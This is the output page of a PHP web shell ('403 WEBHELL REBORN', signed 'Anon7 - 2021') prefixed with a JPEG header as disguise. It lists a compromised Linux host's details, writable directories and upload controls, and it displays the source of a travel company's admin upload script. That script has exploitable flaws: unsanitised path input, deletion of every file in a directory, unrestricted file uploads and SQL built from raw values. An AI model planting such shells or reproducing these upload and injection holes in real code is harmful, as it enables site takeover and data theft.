ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/member/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/member/b2b_popup_proc.php
<?php
include "../include/top_proc.html";//공통파일 인클루드
include "_common.php";

//테이블
$table = "TB_B2BPopup";

//global $TK_MEMBER;
$mb_id = $TK_MEMBER['mb_id'];

// 회원정보 저장
if ($SqlType=="b2bPopupFileUpload") {

	if($_POST['lang'] != 'en' && $_POST['lang'] != 'cn' && $_POST['lang'] != 'hk'){
		echo "실패";
		return false;
	}

//	p($mb_id);
//	p($_POST);
//	p($_FILES);

	$folder = $_SERVER['DOCUMENT_ROOT'].'/FileData/b2b/popup/'.$_POST['lang'].'/';

	$popUpFolder = $folder;

	$op = opendir($popUpFolder);

	while ($itemName = readdir($op)) {
//		echo $itemName;
//		echo '<Br>';
		if($itemName == '.' || $itemName == '..' ){
			continue;
		}

		if(unlink($popUpFolder.$itemName)){
//			echo 'success 1 <br>';
		}else{
//			echo ' failed <br>';
		}
	}

	closedir($op);

	$uploadfile = time().$_FILES['b2bPopup']['name'];

	$p = move_uploaded_file($_FILES['b2bPopup']['tmp_name'],$popUpFolder.$uploadfile);

	if($p){
//		echo "upload success";
//		echo '<Br>';

		//데이터베이스에 저장
		$sql = "INSERT INTO {$table} SET ";
		$sql .= " lang = '{$lang}' ";
		$sql .= " ,fileName = '{$uploadfile}' ";
		$sql .= " ,ins_dt=now() ";
		$sql .= " ,ins_id='{$mb_id}' ";

		db_query($sql);
		error_msg("no_alert","b2b_popup.html");
	}else{
		echo "failed";
		echo '<Br>';
	}


}






else if($SqlType == "tkAdminPopupFileUpload"){

	$folder = $_SERVER['DOCUMENT_ROOT'].'/FileData/b2b/popup/'.$_POST['lang'].'/';

	$popUpFolder = $folder.'current/';
	$popUphistoryFolder = $folder.'history/';


	$op = opendir($popUpFolder);
	while ($itemName = readdir($op)) {
		echo $itemName;
		if(unlink($popUpFolder.$itemName)){
			echo 'success <br>';
		}else{
			echo ' failed <br>';
		}
	}
	closedir($op);


	$uploadfile = time().$_FILES['tkAdminPopup']['name'];

	$p = move_uploaded_file($_FILES['tkAdminPopup']['tmp_name'],$popUpFolder.$uploadfile);

	/*if($p){
		echo 'success p <br>';
	}else{
		echo 'failed p <br>';
	}*/

	$h = move_uploaded_file($_FILES['tkAdminPopup']['tmp_name'],$popUphistoryFolder.$uploadfile);

	/*if($h){
		echo 'success h <br>';
	}else{
		echo 'failed h <br>';
	}*/

//	p($popUpFolder.$uploadfile);
//	p($popUphistoryFolder.$uploadfile);

//	p($_POST);
//	p($_FILES);

	error_msg("document.location.href='/admin/design/tk_admin_popup.html'","script");

	exit;


}


?>

Anon7 - 2021